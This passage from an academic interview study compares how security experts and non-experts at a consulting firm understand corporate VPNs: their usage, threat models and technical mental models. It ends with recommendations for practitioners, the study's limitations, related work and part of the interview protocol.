We found this recommendation to be connected with the gen-
eral threat modelling around VPN use. Participants seemed
to be highly concerned about local attackers, and VPNs pro-
tecting against them, namely 8 experts and 4 non-experts
mentioned that VPN mitigates "listening on communica-
tion" issues (see H.3. in Table 2). The security of a network
connection—as one of our experts mentioned—assumes that
the portion after the local access network can generally be
considered more trusted, especially if the provider is directly
contracted by their company.

" [. . . ] the hotspot is provided by a [telecom provider] net-
work that is approved by [the company]. [. . . ] I can imag-
ine [the provider] is taking extensive measures to make
sure their, the Internet that they are providing through the
phone is secure and it is not easily crackable. " [Expert 5]

This highlights the importance of users’ threat models in the
decision to (not) use a VPN. Therefore, we will explore our
participants’ threat models in the next subsection.

3.2 VPN Threat Modeling

In this subsection, we take a closer look at which threats our
participants consider mitigated by using a VPN, and which
new threats they think VPNs introduce. Thereafter, we will
also take a closer look at how these perceived mitigated and
introduced threats impact their behavior.
Threats Mitigated by VPNs: Several participants noted that
using a VPN mitigates the threat of an external party listening
in to network communication from a client connected to the
VPN (8 E / 4 NE, see H.3. in Table 2). Seven experts in our
sample clearly attributed this to the encrypted connection
provided by the software. In contrast, only two non-experts
noted that this might have something to do something with
encryption:

"I assume that the data is encrypted, which in that sense
simply cannot be cracked, traced back by people who are
watching the connection at that moment." [Non-Expert 4]
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Furthermore, 7 experts and 2 non-experts noted that the VPN
‘hides’ one’s IP address insofar that only an address related
to the (company-operated) VPN server is visible to resources
they access on the Internet (see H.4. in Table 2).

Especially experts also listed several mitigations a VPN
enables that are not directly related to its basic functionality.
Instead, these mitigations relate to the IT operations depart-
ment’s ability to apply security policies and mechanisms to
users’ machines and network traffic as if they were on-site
and enable users to work on data remotely without having a
copy on the client. For example, 5 experts note that using a
VPN allows the IT department to inspect the client’s network
traffic (see F.11 in Table 2), and 3 experts also note that VPN
enables applying corporate filter lists for malicious sites and
preventing the downloading of malware (see H.8. in Table 2).
Or, as put by Expert 7:

"[. . . ] I always let my data go through this server here,
then I know that everything will enter here as well. [. . . ]
it always goes through this server instead of connecting
directly from the client. [. . . ] thus to catch all those threats,
you now have that on a central point." [Expert 7]

Besides looking at external attacks, one of our experts also
notes that inspecting traffic when using a VPN can prevent
users from leaking internal data to, e.g., cloud services:

"It can also have alarming signals that someone who up-
loads something to [cloud software] that an IT team gets
notified or something and then they can take appropriate
action." [Expert 9]

Interestingly, the same mechanism is attributed to email com-
munication, even though threat inspection should take place
independent of a VPN being used:

"[. . . ] Now, within the VPN, they have the applications that
should scan all coming packages, for example, anti-virus,
anti-ware, firewall- [. . . ] for example, you are receiving
an email from an unknown source, you will get the email,
but you will not be able to open the attachment. So, the
attachment is deactivated, for example." [Expert 4]

This observation again highlights the uncertainty, even of
experts, on what parts of system usage are influenced by a
VPN, as already documented in Section 3.1. This is not only
limited to applying policies to clients’ network traffic, but
also to software and policy updates. As one of the experts
notes:

"[automatic updates] should be pushed to your laptop
by the admins. Probably that goes through a VPN too,
because as long as you don’t turn on a VPN [. . . ] no
updates happen either." [Expert 2]

Similarly, as suggested by 3 experts, a VPN may enable an
IT department to monitor and update other policies, such as
not allowing users to plug in USB sticks.

"Well, of course, I can plug it in myself, but for example,
what files can be run, like if it has an alter executable on

the USB stick, I think a VPN can play a role in that, in
preventing, or at least detecting what I am doing, with the
data on the USB stick." [Expert 9]

This statement is likely related to services like Active Di-
rectory commonly used to update such policies only being
reachable when the client is connected via the VPN. How-
ever, please note that the cited experts hold a misconception
here, as an active connection is only necessary for updating
and installing new policies. As soon as new policies have
been rolled out, the system will enforce them even without an
active connection to, e.g., Active Directory.

Finally, both experts (4 participants) and non-experts (2
participants) see an opportunity in using VPNs to keep confi-
dential data from being stored on mobile clients, which may
be stolen (see H.6. in Table 2):

"Even if someone is able to steal my laptop, they will not
be able to connect to the [company’s] systems without the
[access token provider] token, which is on my phone. Or
in the case where it is a physical token, the thief will have
to steal both of them to be able to access [the company’s]
systems." [Expert 5]

As confidential data is stored on remote file shares only reach-
able via the VPN and not on the client itself, an attacker steal-
ing the notebook can not get access to it. Furthermore, due
to the 2FA used for the VPN, an attacker stealing a notebook
still does not gain access to confidential data.

Regarding user behavior, some of our experts shared the
security practices that they use on top of VPN like not sharing
the same laptop with others and use separate devices for
work and private matters, use VPN only when is necessary
and do not use VPN for private matters (see I. Change in
use behavior in Table 2). Non-experts have not revealed any
specific practices they follow in the light of using a VPN.

Lastly, almost half of the participants (6 E / 4 NE, see H.5.
in Table 2) admit that using a VPN complicates attacks, but it
does not solve all threats as stressed by one non-expert and
eight experts (see H.2. in Table 2).
Threats Introduced by a VPN: Apart from mitigating exist-
ing threats, our participants report on new threats introduced
by using a VPN which cluster broadly into three categories:
i) Enabling unauthorized access, ii) Reduced reliability of the
working environment, and, iii) Privacy issues.

While, as mentioned before, participants see benefits for
preventing unauthorized access to corporate resources, they
hold concerns in this regard, too. Specifically, 3 experts and 2
non-experts note that setting up a VPN connection may open
the corporate network up to easier attacks from clients (see
J.1. in Table 2):

"Eh, however, if you have a physical token, if you are like
most of the people, who keep their physical token also in
the laptop bag, which means if your laptop is stolen, your
secure token is also stolen." [Expert 5]

This point is strengthened by Expert 7, who notes that:
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"[. . . ] a VPN connection can be started from anyone who
has a username and ultimately password plus key. But
that also means that you can have multiple sessions per
person." [Expert 7]

This relates to the impact of the VPN server itself being com-
promised as noted by 5 experts and one non-expert (see J.8.
in Table 2), or as Expert 10 notes:

"Well, if your VPN server is compromised, it does not really
make sense to setup the VPN, as it is just an illusion of a
secure connection then. [Expert 10]
In terms of reliability, both groups show concerns about

the resilience of the VPN system.
"I don’t know how much powerful or how much big the
servers are. So, there might be if the powers go off." [Ex-
pert 8]

Given the experiences of the COVID-19 pandemic, which
was underway when this study was conducted, and many
companies struggling with scaling their remote work capabil-
ities, doubting the reliability of the VPN infrastructure is a
reasonable assumption. Similarly, non-experts showed con-
cerns about the impact of, e.g., the 2FA mechanism becoming
unavailable, preventing the use of the VPN:

"[. . . ] part of the team works with a hardware token. If that
goes down, then you have no connection to the software
we use." [Non-Expert 5]

Note, however, that authentication is a crucial component in
most IT systems, and it being unavailable leads to a loss of
productivity.

In terms of privacy, our participants considered both or-
ganizational and personal perspectives. Several participants
(3 E / 2 NE, see J.11. in Table 2) focus on the operational
requirements of running the VPN service and consider aspects
relevant in case the service is outsourced:

"[. . . ] do you have confidence in your provider, where does
the provider have his servers, who has access to it. That
whole part of trust is very important in this. Who con-
trols the business, who is the ultimate owner, how did they
implement their internal security measures." [Expert 1]

"[. . . ] if employees within [the company] have those who
manage those VPN servers and [they] make a deal with
hackers then it stops of course. You always have that human
factor. [Non-Expert 7]
On the personal side, only 2 experts consider issues of

private information suddenly being routed via corporate in-
frastructure and, therefore, they do not use the VPN for private
matters (see I.1. in Table 2). This point is highly relevant in
the prolonged home-office situation we find ourselves in at
the time of writing.

In addition to specific threats, both groups also discuss
general threats not specific to VPNs. In this category, one
of our experts was concerned about targeted attacks, e.g., by
state level actors (see J.7. in Table 2).

"I think the NSA did that as well, that they actually were
scanning for people using a VPN or you know, using their
search terms to connect to a VPN and then put them on
a list of people requiring more surveillance because they
felt that was by default suspicious, that someone would try
and keep their web traffic and those connections private."
[Expert 3]
‘Hacking’ is another threat theme considered by 8 experts

and 3 non-experts (see J.3. in Table 2). In particular, they were
concerned about the VPN, after all, not being secure enough,
as ‘there is always a way to get in’. As one non-expert notes:

"Well, just as you can break into other systems, you can
probably break into a VPN tunnel. I mean, there are weak-
nesses everywhere, so probably also in that shell that sur-
rounds it." [Non-Expert 2]

We note that this may be rooted in a limited understanding of
the underlying technology. In fact, another non-expert specifi-
cally remarks that their concerns are rooted in their uncertainty
about what a VPN actually does.

"I do not know where the VPN starts, so it might be possible
that someone can listen in on your WiFi network." [Non-
Expert 6]

Hence, we will next explore non-experts’ and experts’ under-
standing of how a VPN works.

3.3 Technical Description

In this subsection, we describe our participants perspective
on how a VPN actually works in general and how it is im-
plemented within the company. We first look at the common
items described by all participants and then discuss the addi-
tional aspects brought up only by experts.
General VPN Setup: In general, all participants were able
to communicate the basic idea of a VPN: A client con-
nects to a VPN server to establish a connection to another
network, whereby the connection creates an overlay—the
VPN—securing this process (see D.10.–D.11. in Table 2). For
this connection step, experts would reflect on authentication,
which was not mentioned in-depth by non-experts. We ob-
served that codes D.1.–D.3. co-occurred with D.11. only in
the statements made by experts (5 E). In comparison, only 3
non-experts made statements coded with more general codes
D.1. and D.10 (see Table 2). Non-Experts tend to describe
this connection as a “tunnel”, “tube”, or “shell”. When in-
formation is transmitted through this tunnel, tube, or shell, it
is not readable to anyone trying to eavesdrop. For example,
when asked to elaborate on what they meant with a ‘tunnel’,
Non-Expert 2 said (when creating the illustration in Figure 1):

"I see it a bit as a kind of protective cover that surrounds
the data. [. . . ] a kind of protective layer, so that you cannot
see through it, say from the outside, and where data then
passes through. Instead of just being open." [Non-Expert 2]
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Figure 1: Illustration of the ‘tunnel’ metaphor by Non-
Expert 2. The interview was conducted in Dutch.

The system to which the connection is made was correctly
identified as the VPN ‘server’, even though not all non-experts
were able to describe what a server is:

"[. . . ] actually a folder on eh, so, yeah, just really a docu-
ments folder [. . . ]" [Non-Expert 1]

Minor variations exist between different participants (see
D.13.–D.15. in Table 2), with, for example, one expert men-
tioning that the VPN server is most likely located in the de-
militarized zone (DMZ) of the company’s network. In this
context, experts used metaphors like a “safe”, “gate”, “door”,

“shield”, or “secured zone”. For example:
"[. . . ] it is a certain zone that you basically have to go
through. [. . . ] I’m not quite sure if it’s a zone, yeah, some
sort of secured zone that you have to go through first [. . . ]."
[Expert 6]

Please see Figure 2 for the drawing created by Expert 6 to
accompany this metaphor. Others assumed that not all traffic
is routed through the VPN. In general, 6 experts and one
non-expert discussed split or complete VPN types (see E.5.
in Table 2) and that data can be transmitted in encrypted
or decrypted form between client and receiving points (see
F.1.–F.2. in Table 2). This may, however, depend on different
configurations being used depending on the department, i.e.,
some only use the VPN for accessing internal content, while
other departments route all network traffic via the VPN.

In addition to these aspects, experts also provided more
information on implementation details within the corporation.
They outlined that, while the VPN connection does provide
access to the corporate network, it does not provide access
to all parts of it. Statements from 2 experts were coded with

’internal network segmentation’. Furthermore, as mentioned
before, they iterated that VPN services may be outsourced
(4 E / 1 NE) or managed in-house (2 E / 1 NE), and multiple
external providers might be used for different purposes (1 E).
Encryption: Both groups noted that the established connec-
tion is secured by ‘encrypting’ traffic flowing via it. (6 E /
1 NE, see F.7. in Table 2). The descriptions of encryption
were, however, different. Experts would follow common text-

Figure 2: Illustration of the ‘shield‘ metaphor by Expert 6.
The interview was conducted in Dutch.

book style analogies of (symmetric) encryption, i.e., applying
a secret key that ciphers text in a way that ensures only those
in possession of the key can decipher it.

"[. . . ] if you send from one point to another, information
encrypt need to have like the key to actually read the en-
cryption, if you don’t, if you see from here, you just see a
lot of symbols, let’s say inside. So, if you don’t have the
key to decrypt them, they have no sense for you. Have no
meanings. [sic]" [Expert 8]
Non-Experts similarly expressed the idea of keys being in-

volved, but also stayed closer to the idea of a protected ‘tube’,
most likely superimposed by the cryptographic application
scenario of VPNs. For example, Non-Expert 7 remarks:

"[. . . ] but the message you send, is put in a kind of tube,
as it were. And that tube, there is a key on it, and on the
other side that key goes off again. So should that message
somewhere on the way, or should that tube somewhere
along the way, be opened, then you have to have that key
to be able to read that message in it." [Non-Expert 7]
Additionally, one of the experts discussed steps where en-

crypted data goes through deep packet inspection, decrypting
the packets on the path, before reaching the company’s net-
work:

"[. . . ] there’s data that you encrypt, that’s sent to a server
[. . . ] that doesn’t come directly into the network via a
server on the other side, there are steps in between. And
[. . . ] often that is done through a load balancer or a fire-
wall or a web application firewall, and they often have a
way to certificate to use. They then have the certificate on
the other side to decrypt the data]" [Expert 1]

Addressing and Routing: While non-experts and experts
were both aware that traffic flowing through the VPN might
change the IP address seen by destinations on the Internet,
for clients, addressing itself remained unclear, even to experts.
This is supported by 7 experts and 2 non-experts discussing
that VPN masks IP-address. Still, experts at least noted that
network addressing and—for IPv4—NAT (Network Address
Translation) [21] play important roles in operating a VPN.
Expert 8, for example, describes NAT as follows:
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"[. . . ] it protects the, or it confuse your region IP. For
instance, I can visit a website now from The Netherlands,
but with some VPN connection, I can appear as I am in
Italy." [Expert 8]

Still, even experts were sometimes imprecise in the language
used around IP addressing, and, e.g., around what public IP
and private addresses [54] are, and which implications they
have (see F.5.–F.6. in Table 2):

"Normally I would connect to [the company] using my IP,
which is my Internet name. [. . . ] [The company] sees me as
this, and it will not allow me to enter their server to access
their services. [. . . ] So, I need to have a secure connection
because this can be copied easily; this is a public IP, so
anyone can use this public IP. [. . . ] So, how can we make
this secured connection is to have, for example, a number
of secure IPs [. . . ] it is a bit more complicated than this, but
this is the concept that they have private IPs that are only
known between the server and [the company]." [Expert 4]

Impact of VPN Providers: While the question of whether
the operators of VPNs can be trusted remained a common
theme, see also the statement of Non-Expert 7 in Section 3.2,
only Expert 4 brought up the issue of different external VPN
providers, and how they inflict on the security of a VPN:

"[. . . ] you have multiple types of VPN. So, you have the
commercial VPN, some company who bought a server, put
it online and ask people to pay subscriptions to use this
VPN server. So, this would be secure, but it would not be
highly secure. Then you have another VPN server which is
from a well-known corporate, so, for example, using secure
[company’s] server. So, this [company’s] server, they have
a name they need to maintain, so they use a really state-of-
the-art server. So, this is the second level. The third level,
which is the highest level, is that a VPN that is provided
from your corporate, for example from where I work at
[the company], they have provided their own VPN, this is
known, this is the highest level. [. . . ] There is no way of
anyone intervening in the middle." [Expert 4]

This contextualizes the blurry lines of commercial vs. cor-
porate VPNs even in our study population and despite the
focus on corporate VPNs. Please see Sections 5.1 and 5.2 for
a discussion of this point.

4 Mental Models

In this section, we synthesize experts’ and non-experts’ men-
tal models from the results of our interviews, and then com-
pare the mental models for the two groups. We create the
mental models along three dimensions: How each group
uses VPNs, how each group envisions the technical oper-
ation/implementation of VPNs, and which threat models the
groups construct around using VPNs. While both groups were
aligned on basic usage perspectives, we found major differ-
ences in their understanding of VPN infrastructure and VPN

related threat models. Section 4 provides a visual representa-
tion of the mental models we identified.
Usage: We find that the mental models of experts and non-
experts align when considering how they are using VPNs.
As expected from the study’s scope, both groups share the
perspective that they use a VPN to access corporate resources
and to mitigate threats, with non-experts holding a broader per-
spective on threats. Both groups were coherent about devices
using a VPN and the steps necessary to start the connection.

We find that—among experts and non-experts alike—there
is significant uncertainty when to use a VPN. Given new
threats some experts see, we found some reporting that they
sometimes actively do not use a VPN in risky situations, as
they assume using a VPN might make them more of a target.
Both of these observations are tied in with limitations (in both
groups) in understanding how a VPN actually works.
VPN Operation/Technology Understanding: Both groups
demonstrate the same fundamental understanding of how
VPNs work. In both cases, the common ‘tunnel’ analogy
for a secure connection between a client and a VPN server
captures our participants basic mental model of the technical
aspects well. However, while non-experts demonstrated a
general understanding of how a VPN is organized, they do
not completely understand what a VPN actually does. As
expected, experts provided a more detailed mental model of
VPN infrastructure. Their technical explanations reach further
depth, and include concepts like external authentication and
authorization, as well as aspects of the corporation’s network
topology and segmentation, e.g., the use of a DMZ. In general,
though, their mental model is a super set of the mental model
we found for non-experts.
Threat Modelling: When we look at the threat modeling of
our participants, i.e., which threats they consider to be miti-
gated by using a (corporate) VPN, and which they see being
introduced by a VPN, we again find their mental models to
be dominated by their operational conceptualization. In Sec-
tion 4 we denote the threats that are mitigated or introduced
by a VPN according to our participants with an anonymous-
style hacker pictogram. For mitigated threats, the pictograms
are accompanied by a green shield, while introduced threats’
pictograms are accompanied by a red warning sign. A dotted
line shows if one or both groups brought up the threats.

We find that for non-experts the general understanding
of threats and mitigations around VPNs follows the ‘tunnel’
metaphor. Once the VPN connection is established, the infor-
mation goes through a secure ‘tunnel’ that mitigates specific
threats, which remain ‘outside’ of that tunnel. Also, experts
were concerned about their privacy, i.e., their personal infor-
mation being routed via and inspected on a corporate VPN.

Again, as to be expected, experts identified more threats
mitigated and introduced by VPNs. The general theme here
was that experts took a more operational perspective on
threats, in addition to the basic threats also identified by non-
experts. When looking at new threats introduced by VPNs,
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Figure 3: Mental models of experts/non-experts for VPNs along the dimensions of usage, threat modelling, and implementation.
*In this figure we used icons by Chanut Industries, Font Awesome, Pixel Bazaar, Umar, DesignModo, RemixIcon, Altop Media, Nick Roach, Webdesigner Depot.

our participants also considered the VPN service itself as
a potential threat. This included direct attacks on the VPN
service, threats of compromised endpoints connected via the
VPN and lost or stolen credentials.

Furthermore, in contrast to non-experts, experts also con-
sidered better control and device management capabilities
due to the VPN as a part of the threats mitigated by a VPN.
They noted that systems connected via VPN could be bet-
ter monitored and corporate security policies could be better
enforced. In this context, they mentioned, for example, mon-
itoring clients’ software update state and monitoring users’
network traffic by passing it through corporate intrusion de-
tection systems. Interestingly, this point actually relates to the
privacy threats introduced by a VPN mentioned by our partici-
pating experts. Still, these mitigations are also not necessarily
related to the VPN itself. Rather, they are additional services

enabled by using a VPN. The same general way of thinking
reappears in experts seeing a VPN mitigating data leaks due
to accidental or intentional actions by insiders. For example,
accidentally uploading sensitive files to public clouds or in-
tentionally sharing confidential data via email. According to
experts, this can be more easily monitored with a VPN.

5 Discussion

In this section, we first discuss our key observations with re-
gard to our participants’ mental models. We then continue
from there to identify recommendations for practitioners and
suggestions for further research. Finally, we discuss the limi-
tations of our study.
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5.1 Our Population & The State of the World

With the global outbreak of COVID-19, remote work became
mandatory for the majority of office workers around the world
(see, for example, Brynjolfsson et al. [12]). As the company
from which we recruited our participants also mandate work-
ing from home while using the corporate VPN to retain access
to corporate resources, all participants in our sample have—
at least—working knowledge of using the corporate VPN.
In turn, this priming on using VPNs may affect our results,
e.g., participants might be more familiar with which applica-
tions need the VPN. However, we find that participants are,
for example, still uncertain on which applications require the
VPN. We conjecture that this is connected to changes in poli-
cies to accommodate remote work without a VPN, e.g., see
our participants’ reflections on whether the VPN is necessary
for using email services, see also Section 5.3.

With our participants (forced to be) familiarized with VPN
technology, we are looking at a primed sample concerning
VPN technology. This means that our results have to be under-
stood under these constraints and may deviate for a population
interviewed before the emergence of COVID-19 as a global
pandemic in 2020. At the same time, given the global impact
of COVID-19, these conditions may actually be considered
representative for populations at this point in time.

In any case, these considerations and our results imply a
series of new research questions for follow-up work. We sug-
gest investigating if and how the introduction of mandatory
remote work impacted users’ mental models. For this work,
our findings can serve as a first data point for users mental
models in a corporate setting during work-from-home orders.

5.2 Impact of Specific VPN Technology

As detailed in Section 2.4, the organization in which we exe-
cuted our study uses a specific commercial VPN integration
tailored to their corporate design. This aspect naturally begs
the question of how this specific technology has impacted our
analysis of users’ mental models.

When we revisit our mental model, see Figure 4, we find
that the specific tunneling technology being used is not part
of the users’ mental models. Instead, non-expert and expert
users alike consider the actual encapsulation part of the VPN
a ‘black box’ that links their own system via a local ‘VPN
software’ to the corporate network and the Internet.

However, besides the specific technology used for the VPN,
we find that other aspects of the VPN’s implementation did
have an impact on our participants mental model. The largest
impact is certainly in redirecting the default route of VPN
users via the corporate network. While this is the case in the
corporation from which we recruit, it is not necessarily the
case for all corporate VPNs, especially when they are only
targeted at providing access to internal services. However,

as the default route is redirected here, we find both groups
describing Internet access as being facilitated via the VPN.

Similarly, as we are dealing with a corporate VPN, and our
users’ mental model heavily involves the workflow and local
VPN application, our results most certainly differ from what
would be expected when interviewing a population familiar
with end-user VPNs. While the actual technology in that
communication—which often will be comparable to the TLS
based tunneling used here to reduce the potential for user-
visible connectivity failures—most likely will not play a major
role either, the procedural and workplace dependent factors
we find will not be present. Instead, we conjecture, that for
example, the location of VPN servers will play a bigger role,
as these usually take a prominent position in marketing and
user interfaces for end-user VPNs, see, e.g., NordVPN [48].

5.3 When to use a VPN
In our study, experts and non-experts were often unsure when
to use a VPN. This finding tied into a variety of factors, includ-
ing different policies between endpoint types (an application
needing the VPN on a PC but not on a tablet), changing poli-
cies (An application suddenly being usable (only) with(out)
the VPN), and an unclear threat model on the users’ side
(for experts and non-experts alike). While the first two points
can be addressed by a more straightforward policy and risk
communication, the latter is more difficult to address. We
found that experts’ and non-experts’ conceptualization of
threats heavily depends on their understanding of how a VPN
works. However, we also found limitations in experts’ and
non-experts’ understanding of the inner workings of VPNs
and—in the corporate context—uncertainty of what services
are affected by using a VPN. These beliefs— as in the case of
one expert being worried about becoming a target when using
a VPN—relate to a fear of becoming more of a target when
using a VPN. As users are uncertain about how a VPN works
and may hold false beliefs of the protection (or limitations
of protection) it offers, they decide to not use the VPN, even
though it might be beneficial, e.g., when using a public WiFi.
These challenges can be further amplified if a corporate policy
is inconsistent regarding which applications are accessible
with(out) a VPN or if the policy changes without notifying
users sufficiently.

5.4 Limitations in Experts’ Knowledge
The limitations in experts’ knowledge regarding VPNs out-
lined above, especially in the context of threats around VPNs
are a notable observation. Given our population, recruitment
channel, and the associated ability to verify these experts’
credentials and certifications—see Section 2.3—it is unlikely
that we accidentally interviewed non-experts as experts.

There must be different root causes for the observed limita-
tions in knowledge and misconceptions about threat modeling
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around VPNs and security. We conjecture that there is a mul-
titude of factors leading to the observed behavior. Computer
security has become a complex issue, preventing individu-
als from attaining a general end-to-end understanding of all
facets of security. The credentials and certifications held by
our experts may only test person compliance with a certain
perspective on security, e.g., in the case of ISO27001 on in-
formation security management. Furthermore, not only since
Snowden the capabilities of state threat actors seem to be
limitless, casting doubt and fear even among experts, e.g., see
Expert 3 in Section 3.2. Finally, the industry sees ‘ground-
breaking’ vulnerabilities nearly every other day—often par-
tially overhyped with a logo and accompanying social media
campaign—casting further fear, uncertainty, and doubt.

However, as we did not aim to investigate the specific issue
of experts’ knowledge not matching their certified expertise,
our data does not hold sufficient explanatory value for mak-
ing causal claims in this regard. Still, the observed issue is
alarming and might have widespread implications for society
at large. Hence, we strongly suggest investigating this issue
with a targeted explanatory study in future work.

5.5 Recommendations for Practitioners

We argue that operators can significantly improve the efficacy
of existing VPN infrastructure by improving their corporate
policies, risk communication, and training efforts:

• VPN Automation: users reported uncertainty about
when to use a VPN; still, they usually internalized the
process of using the VPN. We hence recommend im-
proving further the process of using a corporate VPN, so
it becomes invisible and the default for users.

• Privacy Communication: experts were concerned
about the privacy implications of using a corporate VPN.
Corporations should hence find a privacy policy that ac-
commodates a degree of private VPN uses and actively
communicate this to their employees. An intrusion detec-
tion system configured to ignore specific traffic via the
VPN may be better than an intrusion detection system
missing important threats because the user turned the
VPN off to browse, for example, Facebook.

• Device Management: especially expert users found
VPNs to be an integral part of device management and
policy/compliance enforcement. Given the increasing
work-from-home situation the white-collar world finds
itself in, we suggest investigating adjusting device man-
agement solutions to securely work even without a VPN.

• Technical Training: risk communication should focus
on what people need to know, and the mental model ap-
proach can help facilitate such a design [23]. We find
that even non-experts in general do have a basic under-
standing of how VPNs work. Following the work of
Demjaha et al., we hence suggest utilizing the tunnel
metaphor commonly used by participants to make train-

ing more accessible [19]. In line with our observations
on experts’ knowledge, following work by Wash and
Cooper, we also recommend focusing the training on
story-based peer interactions to improve training out-
comes [68].

Finally, we emphasize the importance of IT operators consid-
ering users’ perspectives and needs, e.g., in terms of clearly
communicating the impact of security technologies when
deploying mitigations. For example, in our case, several par-
ticipants reported uncertainty about when a VPN should or
must be used, see Section 3.1, which could be improved upon.

5.6 Further Research Directions:
While we found a generally similar understanding of threats
and mitigations—among experts and non-experts—our results
are not directly transferable to end-user VPNs. Especially the
privacy concerns noted by experts in our study are of sig-
nificantly higher relevance in the context of privately used
VPNs, see Khan et al. [34]. Users seem to have an imbalanced
trust relationship with their local Internet Service Providers
(ISPs), while they tend to trust commercial VPN providers
more—often unjustly [34]. We hence argue that the trust in-
terdependence between end-users and their local ISPs should
be investigated in future studies. Such studies can leverage
the mental model we constructed for non-experts to create
appropriate interview scripts to explore this trust relationship
and how it interacts with the perceived threat landscape.

Furthermore, we suggest studying the use of VPNs—in a
corporate as well as a private context—quantitatively to obtain
a more general perspective, also spanning different cultural
dimensions. Our mental model provides the necessary foun-
dation for such studies to design appropriate questionnaires.
Similarly, our mental model can serve as the basis for more
controlled studies regarding VPN use, i.e., assessments of the
efficacy of the interventions we outlined for practitioners.

Finally, our findings regarding limitations in (certified) ex-
perts’ knowledge require further research to explain better
and quantify these issues.

5.7 Limitations
As qualitative research [6, 11], our work has limitations.
Hence, we document these limitations and describe how we
reduced their impact, so readers can appropriately contextual-
ize our results. Our study’s scope revolves around VPN use in
a professional context, where the population is familiar with
a specific type of VPN, see Section 2.4. Hence, our results
should not be directly transferred to end users’ use of VPN
software in a non-professional setting or professional use of
other VPN technologies. Furthermore, our sample population
has been recruited from a single consulting services firm with
global operations. As such, the company culture and branch
office location in the Netherlands, i.e., cultural environment,
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may have impacted our results. Hence, we encourage inde-
pendent reproduction of our results in other countries.

Our results might be influenced by the work-from-home
reality due to the COVID-19 pandemic: Currently, VPN usage
is mandatory for corporate users who mostly work remotely.

Our study may suffer from a self-reporting or social desir-
ability bias as we rely on self-reported information. Moreover,
as participants volunteered to participate, we may suffer from
a self-selection bias, especially among non-experts. We are
confident that the impact of this factor is limited due to our
sample size and reached theoretical saturation.

The participants were not necessarily familiar with the
video conferencing platform and drawing tools used. To
counter this, we provided them with a test room to try out
the available features before the meeting. Furthermore, we
introduced the capabilities of the drawing tools before each
interview. We did not collect video from all participants for
privacy reasons. Hence, we might have missed some relevant
facial expressions for participants opting out of sharing their
video. On the other hand, disabling the video link ensures
that participants were not biased by the researcher’s facial
expressions or body language.

6 Related Work

In this section, we compare our work with related studies that
either i) compare mental models of experts and non-experts
for security and privacy-related topics or ii) investigate the
adoption of VPN technology.
Mental Models for Security and Privacy: In order to un-
derstand how and why users interact with complex security
technology, researchers from usable security and HCI start to
leverage users’ mental models more frequently to understand
human decision-making [33, 60]. We cluster the related work
in three broad categories:

i) Mental models of a security-technology [1–3, 20, 25, 32,
36, 38, 55, 62, 70]

ii) Mental models of security and privacy best practices
(prescriptive knowledge) [4, 5, 9, 40, 49, 50, 67, 69]

iii) Mental models of software development and end users’
practices (descriptive) [51, 64, 65]

Common examples for the first group are, e.g., Kromb-
holz et al.investigating users’ understanding of HTTPS [36],
Abu-Salma et al.’s work on secure communication tools [2,
3], and mental models of Tor by Gallagher et al. [25]. Based
on our scope, our work follows the approach of these ear-
lier papers. However, while, e.g., Krombholz et al.and Gal-
lagher et al.found experts’ and non-experts’ mental models
to be fundamentally different, we found that the mental mod-
els of experts and non-experts for VPNs are fundamentally
aligned but diverge on threat and mitigation assessment.

An example from the second group is Asgharpour et al. [5]
who quantitatively examine five risk mental models around

security risks using a card-sorting methodology on a popu-
lation of 33 experts and 76 non-experts. Similar to us, they
found that risk perception and mental models thereof diverge
between experts and non-experts. This finding aligns with
ours, where we found general alignment in the basic con-
cepts around VPN technology but diverging mental models
concerning the threat environment.

An example for the third category is Votipka et al., who
conduct an observational study on reverse engineers’ work
processes. As our study relies on self-reported data, instead
of using an observational methodology, our results can not be
directly compared to findings from observational studies.
Studies of VPN Adoption: Studies on VPN adoption usu-
ally focus on end-user VPNs. Sombatruang et al. [61] studied
attributes affecting VPN adoption in the UK (N = 15) and
Japan (N = 17). They found security and privacy consider-
ations to be secondary concerns when users choose a VPN
service. Instead, users focus on app review ratings, the price,
and recommendations—see also Redmiles et al. [52, 53]—
for choosing a service. This aligns with our observation that,
e.g., corporate policy and integration into the workflow play
a major role in corporate VPN usage.

Namara et al. [45] surveyed 90 end-users already using
public VPNs on their usage patterns in the context of the
Technology Acceptance Model [18] in combination with the
risk-as-feeling theory [37] to investigate emotional and prac-
tical aspects of VPN adoption. While this study again focuses
on public VPNs, their results are comparable insofar that we
also observe a connection between perceived risks not neces-
sarily rooted in facts, i.e., fears, and users reported behavior
around using VPNs.

7 Conclusion

We find that—in general—the mental models of VPNs be-
tween experts and non-experts are similar. Naturally, experts
exhibit a deeper understanding of the underlying technology
and specific configuration of that technology within the corpo-
rations’ infrastructure. As the threat modelling aspects of our
participants’ mental models depend on the depth of their tech-
nical understanding, these differences—experts mental mod-
els being a superset of non-experts’— can also be found for
users’ threat modeling. This point is supported by the diverse
views our experts have regarding network monitoring enabled
by VPNs: While they do see it as a new threat, they also
recognize it as an important feature mitigating threats. Never-
theless, both experts and non-experts partially hold inaccurate
assumptions of a corporate VPN effect on the threat land-
scape. These inaccuracies do reflect on participants’ threat
assessment—partially leading to them overestimating risks
introduced by VPNs—and should be addressed appropriately.
Based on our findings, we drafted guidelines for improving
training, communication, and deployment processes around
corporate VPNs, see Section 5.5.
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Data Availability: The data consisting of the summarized
demographic information, anonymized transcriptions, and
anonymized drawings are accessible in the 4TU.Centre for
Research Data for a minimum period of 10 years [8].
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A Interview Protocol
This appendix contains the interview protocol in English. At the beginning of
the interview, a short introduction was provided. The native language version
of the interview protocol can be found in the thesis report [7].

A.1 Interview Introduction
The aim of this research is to determine the differences between experts and
non-experts in their perception of VPN. The focus is on the VPN in [the
professional services firm]. In this interview, I will ask you some questions,
and the intention is that you tell as much as possible about what you know
about VPN. I would like to emphasize that there are no right and wrong
answers, so tell everything you can think of. During the interview I will ask
you to make a drawing based on an assignment. I ask you to think out loud
as much as possible while making this drawing. For the drawing we will
use the whiteboard in Big Blue Button. I will now show the whiteboard and
briefly explain how it works. <Show the whiteboard and give a brief overview
of the possibilities>. I would like to inform you again that this interview
will be recorded. The recording will be used to transcribe the interview and
will not be viewed by anyone outside the research group. I have sent you a
consent form by e-mail, have you been able to read this and do you have any
questions about this? Do you have any other questions before we start the
interview?

A.2 Interview Structure
The complete overview is presented in Table A.1. First, a general question
was asked (A), after which each topic mentioned was asked to elaborate.
Continuation to the next section (B, C, or D) happened when either no new
topics came up in the current section or when an interviewee naturally con-
tinued to a new section. When an interviewee continued to a new section, the

interviewer let the interviewee continue and revisited the previous section
when appropriate.

A Starting question

1. What is a VPN?

B When drawing blank in block A (in order)

1. Have you ever heard the word VPN? Can you remember any-
thing about it?

